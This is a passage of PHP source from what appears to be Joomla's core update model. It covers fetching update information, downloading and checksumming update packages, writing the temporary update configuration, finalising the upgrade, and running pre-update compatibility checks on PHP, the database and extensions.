catch (\RuntimeException $e) { // Something is wrong here! $joomlaUpdateComponentObject = null; Factory::getApplication()->enqueueMessage($e->getMessage(), 'error'); } return !empty($joomlaUpdateComponentObject); } return false; } /** * Returns an array with the Joomla! update information. * * @return array * * @since 2.5.4 */ public function getUpdateInformation() { if ($this->updateInformation) { return $this->updateInformation; } // Initialise the return array. $this->updateInformation = [ 'installed' => \JVERSION, 'latest' => null, 'object' => null, 'hasUpdate' => false, 'current' => JVERSION, // This is deprecated please use 'installed' or JVERSION directly ]; // Fetch the update information from the database. $id = ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id; $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__updates')) ->where($db->quoteName('extension_id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); $updateObject = $db->loadObject(); if (is_null($updateObject)) { // We have not found any update in the database - we seem to be running the latest version. $this->updateInformation['latest'] = \JVERSION; return $this->updateInformation; } // Check whether this is a valid update or not if (version_compare($updateObject->version, JVERSION, '<')) { // This update points to an outdated version. We should not offer to update to this. $this->updateInformation['latest'] = JVERSION; return $this->updateInformation; } $minimumStability = Updater::STABILITY_STABLE; $comJoomlaupdateParams = ComponentHelper::getParams('com_joomlaupdate'); if (in_array($comJoomlaupdateParams->get('updatesource', 'nochange'), ['testing', 'custom'])) { $minimumStability = $comJoomlaupdateParams->get('minimum_stability', Updater::STABILITY_STABLE); } // Fetch the full update details from the update details URL. $update = new Update(); $update->loadFromXml($updateObject->detailsurl, $minimumStability); // Make sure we use the current information we got from the detailsurl $this->updateInformation['object'] = $update; $this->updateInformation['latest'] = $updateObject->version; // Check whether this is an update or not. if (version_compare($this->updateInformation['latest'], JVERSION, '>')) { $this->updateInformation['hasUpdate'] = true; } return $this->updateInformation; } /** * Removes all of the updates from the table and enable all update streams. * * @return boolean Result of operation. * * @since 3.0 */ public function purge() { $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); // Modify the database record $update_site = new \stdClass(); $update_site->last_check_timestamp = 0; $update_site->enabled = 1; $update_site->update_site_id = 1; $db->updateObject('#__update_sites', $update_site, 'update_site_id'); $query = $db->getQuery(true) ->delete($db->quoteName('#__updates')) ->where($db->quoteName('update_site_id') . ' = 1'); $db->setQuery($query); if ($db->execute()) { $this->_message = Text::_('COM_JOOMLAUPDATE_CHECKED_UPDATES'); return true; } else { $this->_message = Text::_('COM_JOOMLAUPDATE_FAILED_TO_CHECK_UPDATES'); return false; } } /** * Downloads the update package to the site. * * @return array * * @since 2.5.4 */ public function download() { $updateInfo = $this->getUpdateInformation(); $packageURL = trim($updateInfo['object']->downloadurl->_data); $sources = $updateInfo['object']->get('downloadSources', []); // We have to manually follow the redirects here so we set the option to false. $httpOptions = new Registry(); $httpOptions->set('follow_location', false); try { $head = HttpFactory::getHttp($httpOptions)->head($packageURL); } catch (\RuntimeException $e) { // Passing false here -> download failed message $response['basename'] = false; return $response; } // Follow the Location headers until the actual download URL is known while (isset($head->headers['location'])) { $packageURL = (string) $head->headers['location'][0]; try { $head = HttpFactory::getHttp($httpOptions)->head($packageURL); } catch (\RuntimeException $e) { // Passing false here -> download failed message $response['basename'] = false; return $response; } } // Remove protocol, path and query string from URL $basename = basename($packageURL); if (strpos($basename, '?') !== false) { $basename = substr($basename, 0, strpos($basename, '?')); } // Find the path to the temp directory and the local package. $tempdir = (string) InputFilter::getInstance( [], [], InputFilter::ONLY_BLOCK_DEFINED_TAGS, InputFilter::ONLY_BLOCK_DEFINED_ATTRIBUTES ) ->clean(Factory::getApplication()->get('tmp_path'), 'path'); $target = $tempdir . '/' . $basename; $response = []; // Do we have a cached file? $exists = is_file($target); if (!$exists) { // Not there, let's fetch it. $mirror = 0; while (!($download = $this->downloadPackage($packageURL, $target)) && isset($sources[$mirror])) { $name = $sources[$mirror]; $packageURL = trim($name->url); $mirror++; } $response['basename'] = $download; } else { // Is it a 0-byte file? If so, re-download please. $filesize = @filesize($target); if (empty($filesize)) { $mirror = 0; while (!($download = $this->downloadPackage($packageURL, $target)) && isset($sources[$mirror])) { $name = $sources[$mirror]; $packageURL = trim($name->url); $mirror++; } $response['basename'] = $download; } // Yes, it's there, skip downloading. $response['basename'] = $basename; } $response['check'] = $this->isChecksumValid($target, $updateInfo['object']); return $response; } /** * Return the result of the checksum of a package with the SHA256/SHA384/SHA512 tags in the update server manifest * * @param string $packagefile Location of the package to be installed * @param Update $updateObject The Update Object * * @return boolean False in case the validation did not work; true in any other case. * * @note This method has been forked from (JInstallerHelper::isChecksumValid) so it * does not depend on an up-to-date InstallerHelper at the update time * * @since 3.9.0 */ private function isChecksumValid($packagefile, $updateObject) { $hashes = ['sha256', 'sha384', 'sha512']; foreach ($hashes as $hash) { if ($updateObject->get($hash, false)) { $hashPackage = hash_file($hash, $packagefile); $hashRemote = $updateObject->$hash->_data; if ($hashPackage !== $hashRemote) { // Return false in case the hash did not match return false; } } } // Well nothing was provided or all worked return true; } /** * Downloads a package file to a specific directory * * @param string $url The URL to download from * @param string $target The directory to store the file * * @return boolean True on success * * @since 2.5.4 */ protected function downloadPackage($url, $target) { try { Log::add(Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_URL', $url), Log::INFO, 'Update'); } catch (\RuntimeException $exception) { // Informational log only } // Make sure the target does not exist. if (is_file($target)) { File::delete($target); } // Download the package try { $result = HttpFactory::getHttp([], ['curl', 'stream'])->get($url); } catch (\RuntimeException $e) { return false; } if (!$result || ($result->code != 200 && $result->code != 310)) { return false; } // Fix Indirect Modification of Overloaded Property $body = $result->body; // Write the file to disk File::write($target, $body); return basename($target); } /** * Backwards compatibility. Use createUpdateFile() instead. * * @param null $basename The basename of the file to create * * @return boolean * @since 2.5.1 * * @deprecated 4.3 will be removed in 6.0 * Use "createUpdateFile" instead * Example: $updateModel->createUpdateFile($basename); */ public function createRestorationFile($basename = null): bool { return $this->createUpdateFile($basename); } /** * Create the update.php file and trigger onJoomlaBeforeUpdate event. * * The onJoomlaBeforeUpdate event stores the core files for which overrides have been defined. * This will be compared in the onJoomlaAfterUpdate event with the current filesystem state, * thereby determining how many and which overrides need to be checked and possibly updated * after Joomla installed an update. * * @param string $basename Optional base path to the file. * * @return boolean True if successful; false otherwise. * * @since 2.5.4 */ public function createUpdateFile($basename = null): bool { // Load overrides plugin. PluginHelper::importPlugin('installer'); // Get a password $password = UserHelper::genRandomPassword(32); $app = Factory::getApplication(); // Trigger event before joomla update. $app->triggerEvent('onJoomlaBeforeUpdate'); // Get the absolute path to site's root. $siteroot = JPATH_SITE; // If the package name is not specified, get it from the update info. if (empty($basename)) { $updateInfo = $this->getUpdateInformation(); $packageURL = $updateInfo['object']->downloadurl->_data; $basename = basename($packageURL); } // Get the package name. $config = $app->getConfig(); $tempdir = $config->get('tmp_path'); $file = $tempdir . '/' . $basename; $filesize = @filesize($file); $app->setUserState('com_joomlaupdate.password', $password); $app->setUserState('com_joomlaupdate.filesize', $filesize); $data = "<?php\ndefined('_JOOMLA_UPDATE') or die('Restricted access');\n"; $data .= '$extractionSetup = [' . "\n"; $data .= <<<ENDDATA 'security.password' => '$password', 'setup.sourcefile' => '$file', 'setup.destdir' => '$siteroot', ENDDATA; $data .= '];'; // Remove the old file, if it's there... $configpath = JPATH_COMPONENT_ADMINISTRATOR . '/update.php'; if (is_file($configpath)) { if (!File::delete($configpath)) { File::invalidateFileCache($configpath); @unlink($configpath); } } // Write new file. First try with File. $result = File::write($configpath, $data); // In case File used FTP but direct access could help. if (!$result) { if (function_exists('file_put_contents')) { $result = @file_put_contents($configpath, $data); if ($result !== false) { $result = true; } } else { $fp = @fopen($configpath, 'wt'); if ($fp !== false) { $result = @fwrite($fp, $data); if ($result !== false) { $result = true; } @fclose($fp); } } } return $result; } /** * Finalise the upgrade. * * This method will do the following: * * Run the schema update SQL files. * * Run the Joomla post-update script. * * Update the manifest cache and #__extensions entry for Joomla itself. * * It performs essentially the same function as InstallerFile::install() without the file copy. * * @return boolean True on success. * * @since 2.5.4 */ public function finaliseUpgrade() { Log::add(Text::_('COM_JOOMLAUPDATE_UPDATE_LOG_FINALISE'), Log::INFO, 'Update'); $installer = Installer::getInstance(); $manifest = $installer->isManifest(JPATH_MANIFESTS . '/files/joomla.xml'); if ($manifest === false) { $installer->abort(Text::_('JLIB_INSTALLER_ABORT_DETECTMANIFEST')); return false; } $installer->manifest = $manifest; $installer->setUpgrade(true); $installer->setOverwrite(true); $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $installer->extension = new \Joomla\CMS\Table\Extension($db); $installer->extension->load(ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id); $installer->setAdapter($installer->extension->type); $installer->setPath('manifest', JPATH_MANIFESTS . '/files/joomla.xml'); $installer->setPath('source', JPATH_MANIFESTS . '/files'); $installer->setPath('extension_root', JPATH_ROOT); // Run the script file. \JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php'); $msg = ''; $manifestClass = new \JoomlaInstallerScript(); $manifestClass->setErrorCollector(function (string $context, \Throwable $error) { $this->collectError($context, $error); }); // Run Installer preflight try { ob_start(); if ($manifestClass->preflight('update', $installer) === false) { $this->collectError('JoomlaInstallerScript::preflight', new \Exception('Script::preflight finished with "false" result.')); $installer->abort( Text::sprintf( 'JLIB_INSTALLER_ABORT_INSTALL_CUSTOM_INSTALL_FAILURE', Text::_('JLIB_INSTALLER_INSTALL') ) ); return false; } // Append messages. $msg .= ob_get_contents(); ob_end_clean(); } catch (\Throwable $e) { $this->collectError('JoomlaInstallerScript::preflight', $e); return false; } // Get a database connector object. $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); /* * Check to see if a file extension by the same name is already installed. * If it is, then update the table because if the files aren't there * we can assume that it was (badly) uninstalled. * If it isn't, add an entry to extensions. */ $query = $db->getQuery(true) ->select($db->quoteName('extension_id')) ->from($db->quoteName('#__extensions')) ->where($db->quoteName('type') . ' = ' . $db->quote('file')) ->where($db->quoteName('element') . ' = ' . $db->quote('joomla')); $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { $this->collectError('Extension check', $e); // Install failed, roll back changes. $installer->abort( Text::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', Text::_('JLIB_INSTALLER_UPDATE'), $e->getMessage()) ); return false; } $id = $db->loadResult(); $row = new \Joomla\CMS\Table\Extension($db); if ($id) { // Load the entry and update the manifest_cache. $row->load($id); // Update name. $row->set('name', 'files_joomla'); // Update manifest. $row->manifest_cache = $installer->generateManifestCache(); if (!$row->store()) { $this->collectError('Update the manifest_cache', new \Exception('Update the manifest_cache finished with "false" result.')); // Install failed, roll back changes. $installer->abort( Text::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', Text::_('JLIB_INSTALLER_UPDATE'), $row->getError()) ); return false; } } else { // Add an entry to the extension table with a whole heap of defaults. $row->set('name', 'files_joomla'); $row->set('type', 'file'); $row->set('element', 'joomla'); // There is no folder for files so leave it blank. $row->set('folder', ''); $row->set('enabled', 1); $row->set('protected', 0); $row->set('access', 0); $row->set('client_id', 0); $row->set('params', ''); $row->set('manifest_cache', $installer->generateManifestCache()); if (!$row->store()) { $this->collectError('Write the manifest_cache', new \Exception('Writing the manifest_cache finished with "false" result.')); // Install failed, roll back changes. $installer->abort(Text::sprintf('JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK', $row->getError())); return false; } // Set the insert id. $row->set('extension_id', $db->insertid()); // Since we have created a module item, we add it to the installation step stack // so that if we have to rollback the changes we can undo it. $installer->pushStep(['type' => 'extension', 'extension_id' => $row->extension_id]); } $result = $installer->parseSchemaUpdates($manifest->update->schemas, $row->extension_id); if ($result === false) { $this->collectError('installer::parseSchemaUpdates', new \Exception('installer::parseSchemaUpdates finished with "false" result.')); // Install failed, rollback changes (message already logged by the installer). $installer->abort(); return false; } // Reinitialise the installer's extensions table's properties. $installer->extension->getFields(true); try { ob_start(); if ($manifestClass->update($installer) === false) { $this->collectError('JoomlaInstallerScript::update', new \Exception('Script::update finished with "false" result.')); // Install failed, rollback changes. $installer->abort( Text::sprintf( 'JLIB_INSTALLER_ABORT_INSTALL_CUSTOM_INSTALL_FAILURE', Text::_('JLIB_INSTALLER_INSTALL') ) ); return false; } // Append messages. $msg .= ob_get_contents(); ob_end_clean(); } catch (\Throwable $e) { $this->collectError('JoomlaInstallerScript::update', $e); return false; } // Clobber any possible pending updates. $update = new \Joomla\CMS\Table\Update($db); $uid = $update->find( ['element' => 'joomla', 'type' => 'file', 'client_id' => '0', 'folder' => ''] ); if ($uid) { $update->delete($uid); } // And now we run the postflight. try { ob_start(); $manifestClass->postflight('update', $installer); // Append messages. $msg .= ob_get_contents(); ob_end_clean(); } catch (\Throwable $e) { $this->collectError('JoomlaInstallerScript::postflight', $e); return false; } if ($msg) { $installer->set('extension_message', $msg); } return true; } /** * Removes the extracted package file and trigger onJoomlaAfterUpdate event. * * The onJoomlaAfterUpdate event compares the stored list of files previously overridden with * the updated core files, finding out which files have changed during the update, thereby * determining how many and which override files need to be checked and possibly updated after * the Joomla update. * * @return void * * @since 2.5.4 */ public function cleanUp() { try { Log::add(Text::_('COM_JOOMLAUPDATE_UPDATE_LOG_CLEANUP'), Log::INFO, 'Update'); } catch (\RuntimeException $exception) { // Informational log only } // Load overrides plugin. PluginHelper::importPlugin('installer'); $app = Factory::getApplication(); // Trigger event after joomla update. $app->triggerEvent('onJoomlaAfterUpdate'); // Remove the update package. $tempdir = $app->get('tmp_path'); $file = $app->getUserState('com_joomlaupdate.file', null); if (is_file($tempdir . '/' . $file)) { File::delete($tempdir . '/' . $file); } // Remove the update.php file used in Joomla 4.0.3 and later. if (is_file(JPATH_COMPONENT_ADMINISTRATOR . '/update.php')) { File::delete(JPATH_COMPONENT_ADMINISTRATOR . '/update.php'); } // Remove the legacy restoration.php file (when updating from Joomla 4.0.2 and earlier). if (is_file(JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php')) { File::delete(JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php'); } // Remove the legacy restore_finalisation.php file used in Joomla 4.0.2 and earlier. if (is_file(JPATH_COMPONENT_ADMINISTRATOR . '/restore_finalisation.php')) { File::delete(JPATH_COMPONENT_ADMINISTRATOR . '/restore_finalisation.php'); } // Remove joomla.xml from the site's root. if (is_file(JPATH_ROOT . '/joomla.xml')) { File::delete(JPATH_ROOT . '/joomla.xml'); } // Unset the update filename from the session. $app = Factory::getApplication(); $app->setUserState('com_joomlaupdate.file', null); $oldVersion = $app->getUserState('com_joomlaupdate.oldversion'); // Trigger event after joomla update. $app->triggerEvent('onJoomlaAfterUpdate', [$oldVersion]); $app->setUserState('com_joomlaupdate.oldversion', null); try { Log::add(Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_COMPLETE', \JVERSION), Log::INFO, 'Update'); } catch (\RuntimeException $exception) { // Informational log only } } /** * Uploads what is presumably an update ZIP file under a mangled name in the temporary directory. * * @return void * * @since 3.6.0 */ public function upload() { // Get the uploaded file information. $input = Factory::getApplication()->getInput(); // Do not change the filter type 'raw'. We need this to let files containing PHP code to upload. See \JInputFiles::get. $userfile = $input->files->get('install_package', null, 'raw'); // Make sure that file uploads are enabled in php. if (!(bool) ini_get('file_uploads')) { throw new \RuntimeException(Text::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE'), 500); } // Make sure that zlib is loaded so that the package can be unpacked. if (!extension_loaded('zlib')) { throw new \RuntimeException(Text::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB'), 500); } // If there is no uploaded file, we have a problem... if (!is_array($userfile)) { throw new \RuntimeException(Text::_('COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED'), 500); } // Is the PHP tmp directory missing? if ($userfile['error'] && ($userfile['error'] == UPLOAD_ERR_NO_TMP_DIR)) { throw new \RuntimeException( Text::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR') . '<br>' . Text::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET'), 500 ); } // Is the max upload size too small in php.ini? if ($userfile['error'] && ($userfile['error'] == UPLOAD_ERR_INI_SIZE)) { throw new \RuntimeException( Text::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR') . '<br>' . Text::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE'), 500 ); } // Check if there was a different problem uploading the file. if ($userfile['error'] || $userfile['size'] < 1) { throw new \RuntimeException(Text::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR'), 500); } // Check the uploaded file (throws RuntimeException when a check failed) if (\extension_loaded('zip')) { $this->checkPackageFileZip($userfile['tmp_name'], $userfile['name']); } else { $this->checkPackageFileNoZip($userfile['tmp_name'], $userfile['name']); } // Build the appropriate paths. $tmp_dest = tempnam(Factory::getApplication()->get('tmp_path'), 'ju'); $tmp_src = $userfile['tmp_name']; // Move uploaded file. $result = FileCMS::upload($tmp_src, $tmp_dest, false, true); if (!$result) { throw new \RuntimeException(Text::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR'), 500); } Factory::getApplication()->setUserState('com_joomlaupdate.temp_file', $tmp_dest); } /** * Checks the super admin credentials are valid for the currently logged in users * * @param array $credentials The credentials to authenticate the user with * * @return boolean * * @since 3.6.0 */ public function captiveLogin($credentials) { // Make sure the username matches $username = $credentials['username'] ?? null; $user = $this->getCurrentUser(); if (strtolower($user->username) != strtolower($username)) { return false; } // Make sure the user is authorised if (!$user->authorise('core.admin')) { return false; } // Get the global Authentication object. $authenticate = Authentication::getInstance(); $response = $authenticate->authenticate($credentials); if ($response->status !== Authentication::STATUS_SUCCESS) { return false; } return true; } /** * Does the captive (temporary) file we uploaded before still exist? * * @return boolean * * @since 3.6.0 */ public function captiveFileExists() { $file = Factory::getApplication()->getUserState('com_joomlaupdate.temp_file', null); if (empty($file) || !is_file($file)) { return false; } return true; } /** * Remove the captive (temporary) file we uploaded before and the . * * @return void * * @since 3.6.0 */ public function removePackageFiles() { $files = [ Factory::getApplication()->getUserState('com_joomlaupdate.temp_file', null), Factory::getApplication()->getUserState('com_joomlaupdate.file', null), ]; foreach ($files as $file) { if ($file !== null && is_file($file)) { File::delete($file); } } } /** * Gets PHP options. * @todo: Outsource, build common code base for pre install and pre update check * * @return array Array of PHP config options * * @since 3.10.0 */ public function getPhpOptions() { $options = []; /* * Check the PHP Version. It is already checked in Update. * A Joomla! Update which is not supported by current PHP * version is not shown. So this check is actually unnecessary. */ $option = new \stdClass(); $option->label = Text::sprintf('INSTL_PHP_VERSION_NEWER', $this->getTargetMinimumPHPVersion()); $option->state = $this->isPhpVersionSupported(); $option->notice = null; $options[] = $option; // Check for zlib support. $option = new \stdClass(); $option->label = Text::_('INSTL_ZLIB_COMPRESSION_SUPPORT'); $option->state = extension_loaded('zlib'); $option->notice = null; $options[] = $option; // Check for XML support. $option = new \stdClass(); $option->label = Text::_('INSTL_XML_SUPPORT'); $option->state = extension_loaded('xml'); $option->notice = null; $options[] = $option; // Check for mbstring options. if (extension_loaded('mbstring')) { // Check for default MB language. $option = new \stdClass(); $option->label = Text::_('INSTL_MB_LANGUAGE_IS_DEFAULT'); $option->state = strtolower(ini_get('mbstring.language')) === 'neutral'; $option->notice = $option->state ? null : Text::_('INSTL_NOTICEMBLANGNOTDEFAULT'); $options[] = $option; // Check for MB function overload. $option = new \stdClass(); $option->label = Text::_('INSTL_MB_STRING_OVERLOAD_OFF'); $option->state = ini_get('mbstring.func_overload') == 0; $option->notice = $option->state ? null : Text::_('INSTL_NOTICEMBSTRINGOVERLOAD'); $options[] = $option; } // Check for a missing native parse_ini_file implementation. $option = new \stdClass(); $option->label = Text::_('INSTL_PARSE_INI_FILE_AVAILABLE'); $option->state = $this->getIniParserAvailability(); $option->notice = null; $options[] = $option; // Check for missing native json_encode / json_decode support. $option = new \stdClass(); $option->label = Text::_('INSTL_JSON_SUPPORT_AVAILABLE'); $option->state = function_exists('json_encode') && function_exists('json_decode'); $option->notice = null; $options[] = $option; $updateInformation = $this->getUpdateInformation(); // Check if configured database is compatible with the next major version of Joomla $nextMajorVersion = Version::MAJOR_VERSION + 1; if (version_compare($updateInformation['latest'], (string) $nextMajorVersion, '>=')) { $option = new \stdClass(); $option->label = Text::sprintf('INSTL_DATABASE_SUPPORTED', $this->getConfiguredDatabaseType()); $option->state = $this->isDatabaseTypeSupported(); $option->notice = null; $options[] = $option; } // Check if database structure is up to date $option = new \stdClass(); $option->label = Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DATABASE_STRUCTURE_TITLE'); $option->state = $this->getDatabaseSchemaCheck(); $option->notice = $option->state ? null : Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DATABASE_STRUCTURE_NOTICE'); $options[] = $option; return $options; } /** * Gets PHP Settings. * @todo: Outsource, build common code base for pre install and pre update check * * @return array * * @since 3.10.0 */ public function getPhpSettings() { $settings = []; // Check for display errors. $setting = new \stdClass(); $setting->label = Text::_('INSTL_DISPLAY_ERRORS'); $setting->state = (bool) ini_get('display_errors'); $setting->recommended = false; $settings[] = $setting; // Check for file uploads. $setting = new \stdClass(); $setting->label = Text::_('INSTL_FILE_UPLOADS'); $setting->state = (bool) ini_get('file_uploads'); $setting->recommended = true; $settings[] = $setting; // Check for output buffering. $setting = new \stdClass(); $setting->label = Text::_('INSTL_OUTPUT_BUFFERING'); $setting->state = (int) ini_get('output_buffering') !== 0; $setting->recommended = false; $settings[] = $setting; // Check for session auto-start. $setting = new \stdClass(); $setting->label = Text::_('INSTL_SESSION_AUTO_START'); $setting->state = (bool) ini_get('session.auto_start'); $setting->recommended = false; $settings[] = $setting; // Check for native ZIP support. $setting = new \stdClass(); $setting->label = Text::_('INSTL_ZIP_SUPPORT_AVAILABLE'); $setting->state = function_exists('zip_open') && function_exists('zip_read'); $setting->recommended = true; $settings[] = $setting; // Check for GD support $setting = new \stdClass(); $setting->label = Text::sprintf('INSTL_EXTENSION_AVAILABLE', 'GD'); $setting->state = extension_loaded('gd'); $setting->recommended = true; $settings[] = $setting; // Check for iconv support $setting = new \stdClass(); $setting->label = Text::sprintf('INSTL_EXTENSION_AVAILABLE', 'iconv'); $setting->state = function_exists('iconv'); $setting->recommended = true; $settings[] = $setting; // Check for intl support $setting = new \stdClass(); $setting->label = Text::sprintf('INSTL_EXTENSION_AVAILABLE', 'intl'); $setting->state = function_exists('transliterator_transliterate'); $setting->recommended = true; $settings[] = $setting; return $settings; } /** * Returns the configured database type id (mysqli or sqlsrv or ...) * * @return string * * @since 3.10.0 */ private function getConfiguredDatabaseType() { return Factory::getApplication()->get('dbtype'); } /** * Returns true, if J! version is < 4 or current configured * database type is compatible with the update. * * @return boolean * * @since 3.10.0 */ public function isDatabaseTypeSupported() { $updateInformation = $this->getUpdateInformation(); $nextMajorVersion = Version::MAJOR_VERSION + 1; // Check if configured database is compatible with Joomla 4 if (version_compare($updateInformation['latest'], (string) $nextMajorVersion, '>=')) { $unsupportedDatabaseTypes = ['sqlsrv', 'sqlazure']; $currentDatabaseType = $this->getConfiguredDatabaseType(); return !in_array($currentDatabaseType, $unsupportedDatabaseTypes); } return true; } /** * Returns true, if current installed php version is compatible with the update. * * @return boolean * * @since 3.10.0 */ public function isPhpVersionSupported() { return version_compare(PHP_VERSION, $this->getTargetMinimumPHPVersion(), '>='); } /** * Returns the PHP minimum version for the update. * Returns JOOMLA_MINIMUM_PHP, if there is no information given. * * @return string * * @since 3.10.0 */ private function getTargetMinimumPHPVersion() { $updateInformation = $this->getUpdateInformation(); return isset($updateInformation['object']->php_minimum) ? $updateInformation['object']->php_minimum->_data : JOOMLA_MINIMUM_PHP; } /** * Checks the availability of the parse_ini_file and parse_ini_string functions. * @todo: Outsource, build common code base for pre install and pre update check * * @return boolean True if the method exists. * * @since 3.10.0 */ public function getIniParserAvailability() { $disabledFunctions = ini_get('disable_functions'); if (!empty($disabledFunctions)) { // Attempt to detect them in the PHP INI disable_functions variable. $disabledFunctions = explode(',', trim($disabledFunctions)); $numberOfDisabledFunctions = count($disabledFunctions); for ($i = 0; $i < $numberOfDisabledFunctions; $i++) { $disabledFunctions[$i] = trim($disabledFunctions[$i]); } $result = !in_array('parse_ini_string', $disabledFunctions); } else { // Attempt to detect their existence; even pure PHP implementations of them will trigger a positive response, though. $result = function_exists('parse_ini_string'); } return $result; } /** * Check if database structure is up to date * * @return boolean True if ok, false if not. * * @since 3.10.0 */ private function getDatabaseSchemaCheck(): bool { $mvcFactory = $this->bootComponent('com_installer')->getMVCFactory(); /** @var \Joomla\Component\Installer\Administrator\Model\DatabaseModel $model */ $model = $mvcFactory->createModel('Database', 'Administrator'); // Check if no default text filters found if (!$model->getDefaultTextFilters()) { return false; } $coreExtensionInfo = \Joomla\CMS\Extension\ExtensionHelper::getExtensionRecord('joomla', 'file'); $cache = new \Joomla\Registry\Registry($coreExtensionInfo->manifest_cache); $updateVersion = $cache->get('version'); // Check if database update version does not match CMS version if (version_compare($updateVersion, JVERSION) != 0) { return false; } // Ensure we only get information for core $model->setState('filter.extension_id', $coreExtensionInfo->extension_id); // We're filtering by a single extension which must always exist - so can safely access this through // element 0 of the array $changeInformation = $model->getItems()[0]; // Check if schema errors found if ($changeInformation['errorsCount'] !== 0) { return false; } // Check if database schema version does not match CMS version if ($model->getSchemaVersion($coreExtensionInfo->extension_id) != $changeInformation['schema']) { return false; } // No database problems found return true; } /** * Gets an array containing all installed extensions, that are not core extensions. * * @return array name,version,updateserver * * @since 3.10.0 */ public function getNonCoreExtensions() { $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true); $query->select( [ $db->quoteName('ex.name'), $db->quoteName('ex.extension_id'), $db->quoteName('ex.manifest_cache'), $db->quoteName('ex.type'), $db->quoteName('ex.folder'), $db->quoteName('ex.element'), $db->quoteName('ex.client_id'), ] ) ->from($db->quoteName('#__extensions', 'ex')) ->where($db->quoteName('ex.package_id') . ' = 0') ->whereNotIn($db->quoteName('ex.extension_id'), ExtensionHelper::getCoreExtensionIds()); $db->setQuery($query); $rows = $db->loadObjectList(); foreach ($rows as $extension) { $decode = json_decode($extension->manifest_cache); // Remove unused fields so they do not cause javascript errors during pre-update check unset($decode->description); unset($decode->copyright); unset($decode->creationDate); $this->translateExtensionName($extension); $extension->version = isset($decode->version) ? $decode->version : Text::_('COM_JOOMLAUPDATE_PREUPDATE_UNKNOWN_EXTENSION_MANIFESTCACHE_VERSION'); unset($extension->manifest_cache); $extension->manifest_cache = $decode; } return $rows; } /** * Gets an array containing all installed and enabled plugins, that are not core plugins. * * @param array $folderFilter Limit the list of plugins to a specific set of folder values * * @return array name,version,updateserver * * @since 3.10.0 */ public function getNonCorePlugins($folderFilter = ['system', 'user', 'authentication', 'actionlog', 'multifactorauth']) { $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true); $query->select( $db->quoteName('ex.name') . ', ' . $db->quoteName('ex.extension_id') . ', ' . $db->quoteName('ex.manifest_cache') . ', ' . $db->quoteName('ex.type') . ', ' . $db->quoteName('ex.folder') . ', ' . $db->quoteName('ex.element') . ', ' . $db->quoteName('ex.client_id') . ', ' . $db->quoteName('ex.package_id') )->from( $db->quoteName('#__extensions', 'ex') )->where( $db->quoteName('ex.type') . ' = ' . $db->quote('plugin') )->where( $db->quoteName('ex.enabled') . ' = 1' )->whereNotIn( $db->quoteName('ex.extension_id'), ExtensionHelper::getCoreExtensionIds() ); if (count($folderFilter) > 0) { $folderFilter = array_map([$db, 'quote'], $folderFilter); $query->where($db->quoteName('folder') . ' IN (' . implode(',', $folderFilter) . ')'); } $db->setQuery($query); $rows = $db->loadObjectList(); foreach ($rows as $plugin) { $decode = json_decode($plugin->manifest_cache); // Remove unused fields so they do not cause javascript errors during pre-update check unset($decode->description); unset($decode->copyright); unset($decode->creationDate); $this->translateExtensionName($plugin); $plugin->version = $decode->version ?? Text::_('COM_JOOMLAUPDATE_PREUPDATE_UNKNOWN_EXTENSION_MANIFESTCACHE_VERSION'); unset($plugin->manifest_cache); $plugin->manifest_cache = $decode; } return $rows; } /** * Called by controller's fetchExtensionCompatibility, which is called via AJAX. * * @param string $extensionID The ID of the checked extension * @param string $joomlaTargetVersion Target version of Joomla * * @return object * * @since 3.10.0 */ public function fetchCompatibility($extensionID, $joomlaTargetVersion) { $updateSites = $this->getUpdateSitesInfo($extensionID); if (empty($updateSites)) { return (object) ['state' => 2]; } foreach ($updateSites as $updateSite) { if ($updateSite['type'] === 'collection') { $updateFileUrls = $this->getCollectionDetailsUrls($updateSite, $joomlaTargetVersion); foreach ($updateFileUrls as $updateFileUrl) { $compatibleVersions = $this->checkCompatibility($updateFileUrl, $joomlaTargetVersion); // Return the compatible versions return (object) ['state' => 1, 'compatibleVersions' => $compatibleVersions]; } } else { $compatibleVersions = $this->checkCompatibility($updateSite['location'], $joomlaTargetVersion); // Return the compatible versions return (object) ['state' => 1, 'compatibleVersions' => $compatibleVersions]; } } // In any other case we mark this extension as not compatible return (object) ['state' => 0]; } /** * Returns records with update sites and extension information for a given extension ID. * * @param int $extensionID The extension ID * * @return array * * @since 3.10.0 */ private function getUpdateSitesInfo($extensionID) { $id = (int) $extensionID; $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true); $query->select( [ $db->quoteName('us.type'), $db->quoteName('us.location'), 